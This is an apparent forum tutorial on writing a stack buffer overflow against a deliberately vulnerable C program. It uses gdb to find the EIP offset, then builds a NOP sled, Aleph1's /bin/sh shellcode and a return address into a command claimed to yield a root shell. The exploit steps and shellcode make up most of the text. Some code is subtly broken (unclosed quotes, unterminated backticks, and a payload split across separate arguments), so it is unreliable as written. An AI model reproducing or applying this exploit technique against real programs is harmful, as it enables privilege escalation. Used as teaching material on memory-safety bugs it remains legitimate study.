Let's write a Buffer Overflow
I've noticed a lot of the people who claim they know hack seem to only know how to use SQLi and XSS and consider those the only existing forms of exploitation. I'm going to make a few tutorials explaining, with examples, other forms of vulnerabilities starting with the classic Buffer Overflow. In this tutorial you will learn about how Buffer Overflows work, and how to create one.
What's a buffer overflow?
A buffer overflow is where you overflow a buffer (Simple, right?).
What does a Buffer Overflow exploit do?
A Buffer Overflow's main objective is to overwrite the memory address within the EIP (Extended Instruction Pointer) register (If that means nothing to you, you should probably learn ASM, however for this tutorial I will give a brief explanation as to what it is). The EIP register can be considered a variable within the processor. It is known as something called an Address Register, meaning it stores memory addresses within it. The EIP register is used to point to the next instruction that is going to be executed. During calling functions, the value of EIP is stored in the stack and is later collected and put back into the register. If you can replace EIP's value, you can change what's executed. That's why we use buffer overflows.
Okay then, what do we need to do?
First, for this scenario, we're going to need our vulnerable program. Here's one I made earlier:
//person.c
#include <stdio.h>
vuln(char *arr)
{
char person[100];
strcpy(person, arr);
printf("Your favorite person is: %s\n", person);
}
main(int argc, char * argv[])
{
vuln(argv[1]);
printf("Horray for %s\n", argv[1]);
}
This program just outputs the user's favorite word that they enter as a command-line argument. For example "./person ergo" would output "Your favorite person is: ergo".
Okay, so let's compile that with gcc (or your favorite C compiler) and get overflowing. (We'll be compiling using the command "gcc -mpreferred-stack-boundary=2 -o person -ggdb person.c" run as the root user). You may get some warnings during compilation, but hey, what do you expect when you're trying to make vulnerable code.
Now we need to overwrite the EIP register. We can do this and check whether it's worked using gdb (The GNU Project Debugger).
root@Root:~Desktop# gdb -q person
Reading symbols from /root/Desktop/person...done.
(gdb)
Now let's use perl to go outside the buffer size by sending 200 characters instead of the maximum size of our bugger of 100.
(gdb) run `perl -e 'print "A" x 200'`
Starting program: /root/Desktop/person `perl -e 'print "A" x 200'`
Program received signal SIGSEGV, Segmentation fault.
0x4002269f in strlen () from /lib/libc.so.6
You should have a similar error to this. Now let's see if we've overwritten the EIP register.
(gdb) info reg eip
eip 0x4002269f 0x4002269f
Apparently you did not and I will explain why. Below is a diagram of how the program variables and registers appear within the stack.
--
|ESP|person|EBP|EIP|arr|
--
<--
The reason this didn't work is because there are several nested functions (Including the printf command, which is where our error "0x4002269f in strlen () from /lib/libc.so.6" is coming from. Printf actually calls vfprintf() and then that calls strlen, creating a lot of jmps in the code)in the program which means that there are multiple stack frames. The perl print has most likely overwritten past EIP and then overwritten some important function arguments stored in those stack frames. We can use the list command in gdb to view our C source and decide the best place to add a breakpoint.
(gdb) list
1 //person.c
2 #include <stdio.h>
3 vuln(char *arr)
4 {
5 char person[100];
6 strcpy(person, arr);
7 printf("Your favorite person is: %s\n", person);
8 }
9 main(int argc, char * argv[])
10 {
11 vuln(argv[1]);
12 printf("Horray for %s\n", argv[1]);
(gdb) b 7
Breakpoint 1 at 0x8048464: file person.c, line 7.
"b" is the breakpoint command. I've set it to line 7 because that's where the printf function is, which will lead to our previous error "0x4002269f in strlen () from /lib/libc.so.6". Now if we run the program again;
(gdb) run `perl -e 'print "A" x 200'`
Starting program: /root/Desktop/person `perl -e 'print "A" x 200'`
Breakpoint 1, vuln (arr=0x41414141 "") at person.c:7
7 printf("Your favorite person is: %s\n", person);
Now we can see we have made arr become equal to our memory address 0x41414141, however we need to remove the NULL that is also there so we need to use less A's until we get to the perfect number. So let's delete our last breakpoint and do it.
(gdb) d 1
(gdb) run `perl -e 'print "A" x 151
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/person `perl -e 'print "A" x 151'`
Your favorite person is: AA
AA
AA
Program received signal SIGSEGV, Segmentation fault.
(gdb) info reg ebp eip
ebp 0xbfff2041 0xbfff2041
eip 0x80484dc 0x80484dc
As you can see, the last part of the ebp register was changed to the character of A, however we still need to overwrite with 7 more bytes for the perfect number of characters to fill the ebp register and the EBP register AND the EIP register. This is because as you see below, we still have to use 3 more bytes to fill the EBP register, however our aim is to corrupt the EIP register, so we need to overflow 4 more bytes on top of the three bytes to actually corrupt EIP.
(gdb) run `perl -e 'print "A" x 158
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /root/Desktop/person `perl -e 'print "A" x 158'`
Your favorite person is: AA
AA
AA
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
Now let's check what's happened with it.
(gdb) info reg ebp eip
ebp 0x41414141 0x41414141
eip 0x41414141 0x41414141
So now we have our perfect number. Next we're going to need some shellcode and the value of ESP. What's the ESP register? It's the register that points to where the top of the stack is. We go about getting it from our own little C program as shown below. (Just a side-note that this is in AT&T Syntax and not Intel syntax. You can change it with a few modifications).
#include <stdio.h>
unsigned long stackpointer(void)
{
__asm__("movl %esp, %eax);
}
int main()
{
printf("ESP: 0x%x\n", stackpointer());
}
Compile and run several times and we'll get the same address (If you don't, disable ASLR).
root@Root:~/Desktop#./regesp
ESP: 0xbffffef1
You're probably wondering why we actually need this. It's needed because we want to overwrite eip to get to a NOP sled that we will create. A NOP sled is a load of NOP instructions that do nothing (NOP = No Operation). The hex code 0x90 is usually representative of NOP.
"What's shellcode?" I hear you cry. Shellcode can be used to execute commands on a system. For the purpose of this tutorial, we're going to be working with Aleph1's shell code and save us the time of writing our own. It is as follows below:
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
Now let's put that into a perl variable called shellcode.
root@Root:~/Desktop$ perl -e 'print \x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";' > shellcode
Now you can calculate the size of your shellcode with the command "wc -c shellcode". If you're using the same shellcode, that should come out to 53 bytes.
Our attack buffer is, in this case, 158 bytes. We need all the parts of our exploit to add up to 158 bytes. It's generally good practice to have about half of that for the NOP sled. So we'll use about 75 bytes. Next comes the difficult bit. We need to guess our return address so that it ends up in the NOP sled. I'll estimate 0x80. I subtract this fro the ESP value as shown below to get my Return Address.
0xbffffef1 - 0x80 = 0xBFFFFE71
Now we need to convert this address into Little-Endian format because that's the architecture we are working with (This just involved flipping the bytes of the memory address around in shellcode). This gives us:
\x71\xfe\xff\xbf
Now to find out how many times we need this, we need to do a simple calculation; (Attack Buffer Size - Number of NOP bytes - Number of Bytes of Shellcode) / 4 bytes that make up our return address.
(158-75-53)/4 = 7.5
That means we need to repeat this address 7 times (always round down). SO let's recap;
We have an attack buffer of 158 bytes. We have 75 bytes of NOP for our NOP sled, 53 bytes of shellcode to be executed, and 28 bytes of our return address (7*4). This adds together to give 156 bytes overall. However, if we try this;
root@Root:~/Desktop$ ./person `perl -e 'print "\x90"x75';` `cat shellcode` `perl -e 'print "\x71\xfe\xff\xbf"x7';`
Segmentation fault
We get a nice error. That's because 156 does not equal 158. We need two more NOP bytes for it to work.
root@Root:~/Desktop$ ./person `perl -e 'print "\x90"x77';` `cat shellcode` `perl -e 'print "\x71\xfe\xff\xbf"x7';`
Your favorite person is:
Followed by a LOT of random characters until finally you get what you wanted.
root@Root:~/Desktop#
Root Access. Thanks for reading. I hope you learned a lot, as this SHOULD have given you a basic insight into how Buffer Overflows work and how you can use them to execute code.
Also, sorry for the lack of formatting.